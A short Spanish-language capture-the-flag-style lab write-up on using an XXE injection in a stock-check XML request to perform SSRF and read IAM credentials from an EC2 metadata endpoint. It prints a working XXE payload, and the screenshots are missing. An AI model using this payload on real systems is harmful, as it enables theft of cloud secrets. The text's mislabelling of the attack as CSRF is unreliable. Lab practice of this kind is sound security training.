
Descripción
This lab has a «Check stock» feature that parses XML input and returns any unexpected values in the response.
The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/
. This endpoint can be used to retrieve data about the instance, some of which might be sensitive.
To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
Exploiting XXE to perform SSRF attacks writeup
Al entrar vemos una tienda online. Entramos en un producto con ‘View details’ y capturamos la petición con el ‘Logger’ de Burp Suite:

Introduciremos el siguiente código:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Creando una entidad llamada ‘xxe’ que acceda a la IP de la descripción del laboratorio. Al hacer la petición el servidor, realizamos correctamente el CSRF. Accedemos a esa variable en <poductId> obteniendo la siguiente respuesta:

Nos devuelve sólo ‘latest’, que probablemente sea un directorio. Lo añadimos a la URL. Añadiremos recursivamente hasta llegar a las credenciales:

Completando así el laboratorio:
